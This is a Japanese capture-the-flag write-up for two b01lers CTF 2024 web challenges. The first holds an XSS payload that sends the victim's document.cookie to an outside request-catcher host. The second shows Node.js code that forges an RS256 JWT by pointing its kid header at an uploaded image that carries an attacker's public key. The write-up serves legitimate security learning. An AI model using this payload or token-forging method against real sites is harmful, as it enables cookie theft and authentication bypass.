b01lers CTF 2024 Writeup

CTF頑張ってみましたが、全然解けなくて泣きたいです。1

web/b01ler-ad

index.js

app.post('/review', limiter,  async (req, res) => {
  const initBrowser = puppeteer.launch({
      executablePath: "/opt/homebrew/bin/chromium",
      headless: true,
      args: [
          '--disable-dev-shm-usage',
          '--no-sandbox',
          '--disable-setuid-sandbox',
          '--disable-gpu',
          '--no-gpu',
          '--disable-default-apps',
          '--disable-translate',
          '--disable-device-discovery-notifications',
          '--disable-software-rasterizer',
          '--disable-xss-auditor'
      ],
      ignoreHTTPSErrors: true
  });
  const browser = await initBrowser;
  const context = await browser.createBrowserContext()
  const content = req.body.content.replace("'", '').replace('"', '').replace("`", '');
  const urlToVisit = CONFIG.APPURL + '/admin/view/?content=' + content;
  try {
      const page = await context.newPage();
      await page.setCookie({
          name: "flag",
          httpOnly: false,
          value: CONFIG.APPFLAG,
          url: CONFIG.APPURL
      })
      await page.goto(urlToVisit, {
          waitUntil: 'networkidle2'
      });
      await sleep(1000);
      // Close
      await context.close()
      res.redirect('/')
  } catch (e) {
      console.error(e);
      await context.close();
      res.redirect('/')
  }
})

contentパラメータから', ", `を一回のみ空文字に変更して、/admin/view/?content={:content}に渡します。

ということでやるだけ。

payload

<script>location = ``https://se0r12.free.beeceptor.com?cookie=${document.cookie}`</script>

web/imagehost

解法

  1. 公開鍵を含んだ画像ファイルをアップロードする
  2. 1に対応する秘密鍵を使ってJWTを作成。
    1. このとき、1でアップロードしたファイルのサーバ内のパスをkidに指定しておく。
  3. やるだけ。

適当に解説

tokens.py

def decode(token):
    headers = jwt.get_unverified_header(token)
    public_key = Path(headers["kid"])
    if public_key.absolute().is_relative_to(Path.cwd()):
        key = public_key.read_bytes()
        return jwt.decode(jwt=token, key=key, algorithms=["RS256"])
    else:
        return {}

kidのパスをとっているように見えます。

public_key.absolute().is_relative_to(Path.cwd())で条件見ているので、/appで始める必要があります。(確かPath.cwd()/app)

この時点で、public_keyが掌握できそうなこと、このアプリケーションはファイルアップロード機能があることから、自身でトークンを作って、自身で作った公開鍵でデコードさせて幸せになりたいなと思ってきます。

main.py upload関数

async def upload(request):
    if "user_id" not in request.session:
        return PlainTextResponse("Not logged in", 401)
    
    async with request.form(max_files=1, max_fields=1) as form:
        if "image" not in form:
            return RedirectResponse("/?error=Missing+image", status_code=303)
        
        image = form["image"]
        
        if image.size > 2**16:
            return RedirectResponse("/?error=File+too+big", 303)
        
        try:
            img = Image.open(image.file)
        except Exception:
            return RedirectResponse("/?error=Invalid+file", 303)
        
        if image.filename is None or not image.filename.endswith(
            tuple(k for k, v in Image.EXTENSION.items() if v == img.format)
        ):
            return RedirectResponse("/?error=Invalid+filename", 303)
        
        await image.seek(0)
        filename = Path(image.filename).with_stem(str(uuid.uuid4())).name
        with UPLOAD_FOLDER.joinpath("a").with_name(filename).open("wb") as f:
            shutil.copyfileobj(image.file, f)
        
        async with request.app.state.pool.acquire() as conn:
            async with conn.cursor() as cursor:
                await cursor.execute(
                    "INSERT INTO images(filename, user_id) VALUES (%s, %s)",
                    (filename, request.session["user_id"])
                )
        
        return RedirectResponse("/", 303)

upload関数を見てみると、画像検証をしていて、そのまま公開鍵をアップロードするわけにはいかなさそうです。

ここで、画像の中に公開鍵を含ませたらライブラリ側でいい感じに理解してくれないかなと思い検証してみました。

検証過程で分かったことは、ちゃんと改行を含んでいないとダメということです。

検証コードとtokenを生み出すために使ったコード

const jwt = require("jsonwebtoken");
const fs = require("fs");

const payload = {
    "user_id": 1,
    "admin": false
};
const secret = fs.readFileSync("private_key_server.pem");
const token = jwt.sign(payload, secret, {keyid:"/app/../uploads/92495de0-43fb-4a63-9374-030bb2bb80d8.png", algorithm: "RS256", noTimestamp: true});
console.log(token)

const pub = fs.readFileSync("test.png");
console.log(jwt.verify(token, pub, {algorithms: "RS256"}));

こんな感じ (test.png)

画像データ
(...)
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAuj9dYWOt0oAWzsiqkJVc
uHSybgCqjs3YAkUvvMjsj6h1QedsedaCWZeNFalSGxOgWnJ89KqDitZtpGGVNn7Y
jBhUuOItG0kUfjS8yHfLgEvvhdjigLvt4sEA5B49z6Ph1ZzxXBajDYvPwRBnzWY1
4OTHkErnE7GuEiyq7E7WgsdaX43q4N6xmWmvvTreSdaj8TS/B5Pit7mMPddRkDrU
CAWK/NEaKP3oPeT/6etB0MZ8/C1sMldbm9nNSrt3XOaQ+FEIoIC7Bez1HXUcESQ/
CuVdYBVurIFcmxTKnM54VjeFccbpKaxm93pRvPZI6ARhkCTiN43nx8E+J7dTivOr
gE+yWDmE3jWNi1ORnVlz82XsdR3CO/9whmYe5neSlJfqrBVcc1Vgl2GB9pMuy00z
sf1K+snzp2rF+tiyHpQICz384uXCFBDdjbb0Ld2iLoAIwz3udtzkY81o7/Vsdk/3
/2UWKoVOLb7GfWUPd5NIBnIPXuB2bcpckBBpYAWJPa51/Mfaz3LVMLT9Zbtp4LBf
oOBYwu6gCDcIQIAqbrgc47JTYzUn1q8gUj5WQ3ZTWgTIFJbZUDcP0SCbMspWOPgR
gRzAgbOlmHv71Yy4ZNUmF5Lvgv9T95s5khNbIaAGLfwwXvSGob04ucfYm126hYEb
0bTn7vAUejiomiiOa3Z1Dl0CAwEAAQ==
-----END PUBLIC KEY-----

検証はNode.jsでやっていますが、うまく行ったのでpythonもいけるでしょと思ったらいけました。(どっかに仕様として定まっているんですかね?)

ということであとはTokenを作り出して”やるだけ"

復習予定

これからはちゃんと復習します。(解こうとした問題は。)

  • [ ] web/3-city-elves-writeups
    • revで読んで、OOBでデータ持ち出しかな?
    • コマンドわからないな〜で諦め
  • [ ] web/b01lers_casino
    • お金が無限に増やせるな? -> 関係なさそうだな
    • JWTをどうにかして改造しないといけなくない?
    • 脆弱性特定できないな〜で諦め
  • [ ] web/ghost-note
    • CSP強くないですか?
    • 諦め

  1. 「b01lers CTFは難しいから解けなくても問題ないよ」と優しく言ってくれる人が欲しい